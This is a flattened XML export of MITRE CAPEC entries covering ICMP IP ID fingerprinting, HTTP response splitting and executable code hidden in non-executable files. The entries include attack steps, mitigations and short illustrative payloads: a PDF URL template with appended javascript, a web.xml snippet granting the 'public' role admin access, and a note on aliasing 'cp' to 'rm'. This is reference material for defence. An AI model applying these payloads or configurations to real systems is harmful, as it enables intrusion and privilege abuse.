#indSubmissionSubmission19820 + Submission_19820 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19825 + Modification_19825 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19831 + Modification_19831 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indModificationModification19837 + Modification_19837 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification19843 + Modification_19843 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses, Resources_Required + + + + + + + + + + + + #CAPEC-332 + ICMP IP 'ID' Field Error Message Probe + + + + + + + + + 332 + + + + + ICMP IP 'ID' Field Error Message Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends a UDP datagram having an assigned value to its internet identification field (ID) to a closed port on a target to observe the manner in which this bit is echoed back in the ICMP error message. This allows the attacker to construct a fingerprint of specific OS behaviors.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The internet identification field (ID) is typically utilized for reassembling a fragmented packet. RFC791 and RFC815 discusses about IP datagrams, fragmentation and reassembly. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within the ICMP error message. There are three behaviors related to the IP ID field that can be used to distinguish remote operating systems or firmware: 1) it is echoed back identically to the bit order of the ID field in the original IP header, 2) it is echoed back, but the byte order has been reversed, or it contains an incorrect or unexpected value. Different operating systems will respond by setting the IP ID field differently within error messaging.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19860 + Related_Attack_Pattern_19860 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications. Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable."</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19869 + Consequence_19869 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19873 + Consequence_19873 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 204 + + + + + + + + + + + + #indReferenceReference19885 + Reference_19885 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19886 + Reference_19886 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference19887 + Reference_19887 + + + + + + + + + REF-124 + + + + + + + + + + + + #indReferenceReference19888 + Reference_19888 + + + + + + + + + REF-262 + + + + + + + + + + + + #indContentHistoryContentHistory19890 + Content_History_19890 + + + + + + + + + + + + + + + + #indSubmissionSubmission19891 + Submission_19891 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19896 + Modification_19896 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19902 + Modification_19902 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indModificationModification19908 + Modification_19908 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification19914 + Modification_19914 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses, Resources_Required + + + + + + + + + + + + #CAPEC-34 + HTTP Response Splitting + + + + + + + + + 34 + + + + + HTTP Response Splitting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;See CanPrecede relationships for possible consequences.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Malicious user input is injected into various standard and/or user defined HTTP headers within a HTTP Response through use of Carriage Return (CR), Line Feed (LF), Horizontal Tab (HT), Space (SP) characters as well as other valid/RFC compliant special characters, and unique character encoding.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A single HTTP response ends up being split as two or more HTTP responses by the targeted client HTTP agent parsing the original maliciously manipulated HTTP response. This allows malicious HTTP responses to bypass security controls in order to implement malicious actions and provide malicious content that allows access to sensitive data and to compromise applications and users. This is performed by the abuse of interpretation and parsing discrepancies in different intermediary HTTP agents (load balancer, reverse proxy, web caching proxies, application firewalls, etc.) or client HTTP agents (e.g., web browser) in the path of the malicious HTTP responses.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions as well as lack of syntax checking and filtering of user input in the HTTP agents receiving HTTP messages in the path.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This differs from CAPEC-105 HTTP Request Splitting, which is usually an attempt to compromise a back-end HTTP agent via HTTP Request messages. HTTP Response Splitting is an attempt to compromise a&lt;xhtml:i&gt;client agent (e.g., web browser)&lt;/xhtml:i&gt;by sending malicious content in HTTP responses from back-end HTTP infrastructure.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;HTTP Smuggling (CAPEC-33 and CAPEC-273) is different from HTTP Splitting due to the fact it relies upon discrepancies in the interpretation of various HTTP Headers and message sizes and not solely user input of special characters and character encoding. HTTP Smuggling was established to circumvent mitigations against HTTP Request Splitting techniques.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19937 + Related_Attack_Pattern_19937 + + + + + + + + + + + + + + 220 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19938 + Related_Attack_Pattern_19938 + + + + + + + + + + + + + + 105 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19939 + Related_Attack_Pattern_19939 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19940 + Related_Attack_Pattern_19940 + + + + + + + + + + + + + + 141 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19941 + Related_Attack_Pattern_19941 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19942 + Related_Attack_Pattern_19942 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19943 + Related_Attack_Pattern_19943 + + + + + + + + + + + + + + 148 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19944 + Related_Attack_Pattern_19944 + + + + + + + + + + + + + + 154 + + + + + + + + + + + + #indAttackStepAttackStep19947 + Attack_Step_19947 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey network to identify target] The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep19953 + Attack_Step_19953 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify vulnerabilities in targeted HTTP infrastructure and technologies] The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, HTTP headers, syntax checking and input filtering.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep19958 + Attack_Step_19958 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause differential HTTP responses by experimenting with identified HTTP Request vulnerabilities] The adversary sends maliciously crafted HTTP request to back-end HTTP infrastructure to inject adversary data (in the form of HTTP headers with custom strings and embedded web scripts and objects) into HTTP responses (intended for intermediary and/or front-end client/victim HTTP agents communicating with back-end HTTP infrastructure) for the purpose of interfering with the parsing of HTTP responses by intermediary and front-end client/victim HTTP agents. The intended consequences of the malicious HTTP request and the subsequent adversary injection and manipulation of HTTP responses to intermediary and front-end client/victim HTTP agents, will be observed to confirm applicability of identified vulnerabilities in the adversary's plan of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Continue the monitoring of HTTP traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Utilize different sequences of special characters (CR - Carriage Return, LF - Line Feed, HT - Horizontal Tab, SP - Space and etc.) to bypass filtering and back-end encoding and to embed:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;additional HTTP Requests with their own headers&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;malicious web scripts into parameters of HTTP Request headers (e.g., browser cookies like Set-Cookie or Ajax web/browser object parameters like XMLHttpRequest)&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;adversary chosen encoding (e.g., UTF-7)&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;to utilize additional special characters (e.g., &amp;gt; and &amp;lt;) filtered by the target HTTP agent.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Note that certain special characters and character encoding may be applicable only to intermediary and front-end agents with rare configurations or that are not RFC compliant.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Follow an unrecognized (sometimes a RFC compliant) HTTP header with a subsequent HTTP request to potentially cause the HTTP request to be ignored and interpreted as part of the preceding HTTP request.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep19975 + Attack_Step_19975 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Perform HTTP Response Splitting attack] Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage techniques identified in the Experiment Phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A vulnerable or compromised server or domain/site capable of allowing adversary to insert/inject malicious content that will appear in the server's response to target HTTP agents (e.g., proxies and users' web browsers).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in the way the two HTTP agents parse and interpret HTTP requests and its headers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP headers capable of being user-manipulated.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP agents running on HTTP/1.0 or HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.</xhtml:div> + + + + + + + + + + + + #indSkillSkill19989 + Skill_19989 + + + + + + + + + + + + + + Detailed knowledge on HTTP protocol: request and response messages structure and usage of specific headers. + + + + + + + + + + + + #indSkillSkill19990 + Skill_19990 + + + + + + + + + + + + + + Detailed knowledge on how specific HTTP agents receive, send, process, interpret, and parse a variety of HTTP messages and headers. + + + + + + + + + + + + #indSkillSkill19991 + Skill_19991 + + + + + + + + + + + + + + Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tools capable of monitoring HTTP messages, and crafting malicious HTTP messages and/or injecting malicious content into HTTP messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in responses processed by the two agents with multiple responses to a single request in the web logs. This requires careful monitoring or a capable log analysis tool.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence20000 + Consequence_20000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence20006 + Consequence_20006 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence20012 + Consequence_20012 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: evaluate HTTP agents prior to deployment for parsing/interpretation discrepancies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: front-end HTTP agents notice ambiguous requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: back-end HTTP agents reject ambiguous requests and close the network connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable reuse of back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use HTTP/2 for back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use the same web server software for front-end and back-end server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize a Web Application Firewall (WAF) that has built-in mitigation to detect abnormal requests/responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Install latest vendor security patches available for both intermediary and back-end HTTP infrastructure (i.e. proxies and web servers)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Ensure that HTTP infrastructure in the chain or network path utilize a strict uniform parsing process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize intermediary HTTP infrastructure capable of filtering and/or sanitizing user-input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the PHP 5 session extension mechanism, a user-supplied session ID is sent back to the user within the Set-Cookie HTTP header. Since the contents of the user-supplied session ID are not validated, it is possible to inject arbitrary HTTP headers into the response body. This immediately enables HTTP Response Splitting by simply terminating the HTTP response header from within the session ID used in the Set-Cookie directive. See also: CVE-2006-0207&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 74 + + + + + 113 + + + + + 138 + + + + + 436 + + + + + + + + + + + + #indTaxonomyMappingHTTPResponseSplitting + HTTP Response Splitting + + + + + + + + + + + + + + 25 + + + + + HTTP Response Splitting + + + + + + + + + + + + #indReferenceReference20047 + Reference_20047 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference20048 + Reference_20048 + + + + + + + + + REF-117 + + + + + + + + + + + + #indReferenceReference20049 + Reference_20049 + + + + + + + + + REF-617 + + + + + + + + + + + + #indReferenceReference20050 + Reference_20050 + + + + + + + + + REF-680 + + + + + + + + + + + + #indNoteNote20053 + Note_20053 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Splitting – "the act of forcing a sender of (HTTP) messages to emit data stream consisting of more messages than the sender’s intension. The messages sent are 100% valid and RFC compliant" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote20054 + Note_20054 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling – "the act of forcing a sender of (HTTP) messages to emit data stream which may be parsed as a different set of messages (i.e. dislocated message boundaries) than the sender’s intention. This is done by virtue of forcing the sender to emit non-standard messages which can be interpreted in more than one way" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote20055 + Note_20055 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling is an evolution of previous HTTP Splitting techniques which are commonly remediated against.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory20057 + Content_History_20057 + + + + + + + + + + + + + + + + #indSubmissionSubmission20058 + Submission_20058 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20063 + Modification_20063 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Payload_Activation_Impact, Probing_Techniques, Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification20069 + Modification_20069 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, References + + + + + + + + + + + + #indModificationModification20075 + Modification_20075 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification20081 + Modification_20081 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification20087 + Modification_20087 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification20093 + Modification_20093 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Status, Consequences, Description, Example_Instances, Execution_Flow, Extended_Description, Indicators, Mitigations, Notes, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Skills_Required, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification20099 + Modification_20099 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Extended_Description + + + + + + + + + + + + #CAPEC-35 + Leverage Executable Code in Non-Executable Files + + + + + + + + + 35 + + + + + Leverage Executable Code in Non-Executable Files + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20114 + Related_Attack_Pattern_20114 + + + + + + + + + + + + + + 636 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20115 + Related_Attack_Pattern_20115 + + + + + + + + + + + + + + 23 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20116 + Related_Attack_Pattern_20116 + + + + + + + + + + + + + + 75 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have the ability to modify non-executable files consumed by the target software.</xhtml:div> + + + + + + + + + + + + #indSkillSkill20122 + Skill_20122 + + + + + + + + + + + + + + To identify and execute against an over-privileged system interface + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to communicate synchronously or asynchronously with server that publishes an over-privileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence20128 + Consequence_20128 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence20135 + Consequence_20135 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence20139 + Consequence_20139 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform testing such as pen-testing and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Implement host integrity monitoring to detect any unwanted altering of configuration files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure that files that are not required to execute, such as configuration files, are not over-privileged, i.e. not allowed to execute.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Virtually any system that relies on configuration files for runtime behavior is open to this attack vector. The configuration files are frequently stored in predictable locations, so an attacker that can fingerprint a server process such as a web server or database server can quickly identify the likely locale where the configuration is stored. And this is of course not limited to server processes. Unix shells rely on profile files to store environment variables, search paths for programs and so on. If the aliases are changed, then a standard Unix "cp" command can be rerouted to "rm" or other standard command so the user's intention is subverted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/)&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt; security-constraint&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;description&amp;gt;Security processing rules for admin screens&amp;lt;/description&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;url-pattern&amp;gt;/admin/*&amp;lt;/url-pattern&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;http-method&amp;gt;POST&amp;lt;/http-method&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;http-method&amp;gt;GET&amp;lt;/http-method&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;auth-constraint&amp;gt;&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;role-name&amp;gt;administrator&amp;lt;/role-name&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;role-name&amp;gt;public&amp;lt;/role-name&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/auth-constraint&amp;gt;&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;/security-constraint&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 94 + + + + + 96 + + + + + 95 + + + + + 97 + + + + + 272 + + + + + 59 + + + + + 282 + + + + + 270 + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationHTMLSmuggling + Obfuscated Files or Information: HTML Smuggling + + + + + + + + + + + + + + 1027.006 + + + + + Obfuscated Files or Information: HTML Smuggling + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationEmbeddedPayloads + Obfuscated Files or Information: Embedded Payloads + + + + + + + + + + + + + + 1027.009 + + + + + Obfuscated Files or Information: Embedded Payloads + + + + + + + + + + + + #indTaxonomyMappingHideArtifactsResourceForking + Hide Artifacts: Resource Forking + + + + + + + + + + + + + + 1564.009 + + + + + Hide Artifacts: Resource Forking + + + + + + + + + + + + #indReferenceReference20195 + Reference_20195 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory20197 + Content_History_20197 + + + + + + + + + + + + + + + + #indSubmissionSubmission20198 + Submission_20198 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20203 + Modification_20203 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification20209 + Modification_20209 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + 